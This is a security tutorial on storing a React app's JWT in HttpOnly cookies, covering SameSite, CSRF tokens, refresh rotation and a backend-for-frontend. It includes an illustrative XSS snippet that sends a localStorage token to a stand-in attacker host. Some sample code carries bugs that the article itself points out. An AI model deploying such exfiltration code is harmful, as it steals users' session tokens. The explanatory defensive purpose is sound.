Moving a React App's JWT Out of localStorage and Into HttpOnly Cookies
Learn why localStorage JWTs fall to any XSS, how HttpOnly cookies with SameSite, rotation and a BFF shrink the risk, and which pitfalls remain in React apps.
This article is published in English.
Sources: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT
Where a React app keeps its access token decides what a single cross-site scripting bug can cost you. A JWT in localStorage can be read and exfiltrated by any script on the page; one in an HttpOnly cookie cannot, although cookies raise cross-site request forgery questions instead. Below you will find both options compared, a cookie-based setup with an Express backend, and the rotation, CSRF and Backend-for-Frontend techniques that complete it.
Two storage options, two threat models
The browser does not distinguish your scripts from injected ones, so the two usual homes for a JWT fail differently:
- localStorage is readable by any JavaScript on the origin. The threat is XSS; mitigations are a strict CSP and sanitization.
- HttpOnly cookies are sent by the browser and invisible to JavaScript. The threat is CSRF; mitigations are
SameSiteand CSRF tokens.
Why localStorage turns XSS into account takeover
Any script executing on your domain needs two lines to steal the token:
// Any script running on your domain can do this:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);
Injected code reaches React projects through more routes than teams expect:
dangerouslySetInnerHTMLwith content you do not control.- Compromised npm packages, as in the
event-streamandua-parser-jsincidents. - Tampered scripts from external CDNs.
- Markdown renderers that skip sanitization.
- Browser extensions injecting code into the page.
JSX escapes interpolated strings, but that protection vanishes as soon as code opts out, typically to render bios or rich-text output:
// ❌ NEVER do this with user-generated content
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// ❌ Or with rich text editors
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
Sanitizers help, yet they have had bypasses. For reference, here is the familiar localStorage client: helpers to store and read the token, and a wrapper that adds a Bearer header.
// services/auth.ts
const TOKEN_KEY = 'access_token';
export const setToken = (token: string) => {
localStorage.setItem(TOKEN_KEY, token);
};
export const getToken = () => {
return localStorage.getItem(TOKEN_KEY);
};
export const removeToken = () => {
localStorage.removeItem(TOKEN_KEY);
};
// api/client.ts
import { getToken } from './auth';
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const token = getToken();
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
headers: {
'Content-Type': 'application/json',
...(token && { Authorization: `Bearer ${token}` }),
...options.headers,
},
});
return response;
};
It is simple, and it cannot be made XSS-resistant, because the design requires JavaScript to read the token.
HttpOnly cookies as the default
The server sets the cookie, and each attribute closes a specific gap:
Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=900
HttpOnlyhides it fromdocument.cookieand all script access.Securelimits it to HTTPS.SameSite=Strictstops the browser from attaching it to requests started by other sites.Max-Age=900gives the access token 15 minutes of life.
The client no longer touches the token
React drops the storage helpers and the header. The essential line is credentials: 'include', which makes fetch send cookies. On a 401 the wrapper refreshes and replays the request, or redirects to login.
// api/client.ts
// No manual Authorization header needed!
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
credentials: 'include', // CRITICAL: Sends cookies with requests
headers: {
'Content-Type': 'application/json',
...options.headers,
},
});
// If 401, try refreshing
if (response.status === 401) {
const refreshed = await refreshAccessToken();
if (refreshed) {
// Retry original request (browser auto-sends new cookie)
return apiClient(endpoint, options);
}
// Redirect to login
window.location.href = '/login';
}
return response;
};
In production, cap the replay at one attempt so a refresh that "succeeds" while the API still returns 401 cannot recurse forever, and share one in-flight refresh across concurrent failures, as described in the single-flight refresh fix.
The Express side
At login the server signs a 15-minute access token and a 7-day refresh token with separate secrets, stores a hash of the refresh token, and sets both cookies. The refresh cookie uses path: '/auth/refresh' so it travels only to that endpoint. The refresh handler verifies the JWT, compares it to the stored hash with bcrypt and issues a new access cookie.
// auth.controller.ts
import { Response } from 'express';
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
export const login = async (req, res: Response) => {
const { email, password } = req.body;
// Validate credentials...
const user = await validateUser(email, password);
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
process.env.REFRESH_TOKEN_SECRET!,
{ expiresIn: REFRESH_TOKEN_EXPIRY }
);
// Store refresh token hash in database (not the raw token!)
await storeRefreshToken(user.id, refreshToken);
// Set cookies
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // Only sent to refresh endpoint
});
res.json({ success: true });
};
export const refresh = async (req, res: Response) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
// Check if token is in database and not revoked
const storedToken = await getRefreshToken(payload.userId);
if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// Rotate: Issue new access token (and optionally new refresh token)
const newAccessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
path: '/',
});
res.json({ success: true });
} catch {
// Clear cookies on failure
res.clearCookie('access_token');
res.clearCookie('refresh_token');
res.status(401).json({ error: 'Invalid token' });
}
};
Before reusing it: import bcrypt; note that refresh hardcodes secure: true while login checks the environment; and res.clearCookie('refresh_token') must also pass path: '/auth/refresh', or the cookie is not actually removed.
CSRF in a SameSite world
CSRF abuses the fact that cookies travel automatically. SameSite fixes most of it in the browser, and Chromium-based browsers treat cookies without the attribute as Lax. For an SPA:
- Choose
Strictwhen frontend and API share a domain. - Choose
Laxwhen users arrive via external links and should be signed in on that first navigation. - Avoid
Noneunless you truly need cross-site cookies and understand the consequences.
"Site" means the registrable domain, so a compromised sibling subdomain still counts as same-site.
Adding a double-submit token
For defense in depth, the server sets a random value in a readable cookie, React copies it into an X-CSRF-Token header, and the server rejects requests where the two differ.
// Backend sets a non-HttpOnly CSRF cookie
res.cookie('csrf_token', generateRandomToken(), {
httpOnly: false, // React needs to read this
secure: true,
sameSite: 'strict',
});
// React reads it and sends in header
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/sensitive', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken,
},
});
A forging page cannot read your cookies under the same-origin policy, so it cannot produce the matching header. With SameSite=Strict and tight CORS this is often redundant, but it is cheap insurance against misconfiguration.
Rotating refresh tokens and detecting reuse
Short access tokens plus longer refresh tokens are the common baseline, but a stolen refresh token still grants days of access. With rotation, every refresh issues a new refresh token and invalidates the old one; if a retired token reappears, someone is replaying it, and the safe reaction is to revoke every session of that account.
// When refreshing, invalidate the old refresh token
export const refresh = async (req, res) => {
const incomingRefresh = req.cookies.refresh_token;
// Find user by refresh token
const user = await findUserByRefreshToken(incomingRefresh);
if (!user) {
// Possible token reuse! Clear all sessions.
await revokeAllUserTokens(user.id);
return res.status(401).json({ error: 'Token reuse detected' });
}
// Rotate: Generate new pair
const newRefresh = generateRefreshToken();
await replaceRefreshToken(incomingRefresh, newRefresh);
// If attacker had stolen old token, it's now invalid
// If legitimate user has old token (race condition), they'll need to re-auth
};
Fix one bug first: inside if (!user) the code calls revokeAllUserTokens(user.id) on a null value. Real reuse detection must find the owner of an already-rotated token, usually through a "token family" record. Expect false positives when two tabs refresh at once; a short grace window helps. The refresh token strategy guide covers the server side further.
Keeping tokens off the client with a BFF
A Backend-for-Frontend is a thin server between React and the real API:
React App → BFF (Next.js API routes / Express) → Actual API
It runs OAuth flows (Authorization Code with PKCE), keeps tokens in encrypted HttpOnly cookies, handles CSRF and removes most CORS setup, since the browser only calls its own origin. In Next.js, a route handler can forward credentials to the auth service and turn the returned token into a cookie:
// Next.js API Route (BFF pattern)
// pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
import { NextRequest, NextResponse } from 'next/server';
export async function POST(req: NextRequest) {
const body = await req.json();
// Call actual auth service
const authRes = await fetch('https://internal-api.company.com/auth', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
const { access_token, refresh_token } = await authRes.json();
const response = NextResponse.json({ success: true });
// Set HttpOnly cookies
response.cookies.set('access_token', access_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900,
});
return response;
}
A full version would also store the refresh token and check authRes.ok before parsing. A BFF fits when you use third-party OAuth such as Google or GitHub, the API lives on another domain, you want auth logic out of the bundle, or you already run Next.js.
Choosing a setup
For most same-domain SPAs, this is the baseline:
✅ HttpOnly cookies with:
- SameSite=Strict (or Lax)
- Secure flag
- Short-lived access tokens (5-15 min)
- Rotating refresh tokens (7 days)
- Token reuse detection
- CORS properly configure
For cross-domain APIs or mobile clients, localStorage is acceptable only if you accept the XSS risk and compensate for it:
localStorage ONLY if:
- You implement strict CSP headers
- You audit all dependencies for XSS
- You don't use dangerouslySetInnerHTML
- You have a short token lifetime (< 15 min)
- You accept the XSS risk
For the strictest requirements or enterprise protocols, a BFF removes tokens from the browser:
Backend-for-Frontend (BFF):
- React app talks to same-origin API routes
- API routes handle tokens in HttpOnly cookies
- React never touches JWTs
- Works with OAuth, SAML, enterprise auth
Checklist for cookie-based auth
- Mark auth cookies
HttpOnly,SecureandSameSite=Strict. - Keep access tokens to 5 to 15 minutes.
- Rotate refresh tokens with reuse detection.
- Send
credentials: 'include'from everyfetchor axios call. - Pair
Access-Control-Allow-Credentials: truewith an explicit origin. - Keep cookies out of logs and analytics.
- Clear cookies server-side in a
/logoutendpoint, optionally withClear-Site-Data: "cookies". - Ship a Content Security Policy anyway.
A hardened response might carry these headers:
# Example secure headers
Content-Security-Policy: default-src 'self'; script-src 'self';
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Clear-Site-Data: "cookies" # On logout
Wrapping up
HttpOnly cookies do not make XSS harmless: injected script can still send authenticated requests while the page is open. What it cannot do is carry the token away and reuse it elsewhere. That difference, plus short lifetimes and rotation, makes cookies the right default for web apps, with a CSP still required alongside them. CSRF is largely handled by SameSite and an optional double-submit token, while XSS remains a standing risk in dependency-heavy React code. When cross-domain auth makes cookies awkward, build a small BFF instead of falling back to localStorage.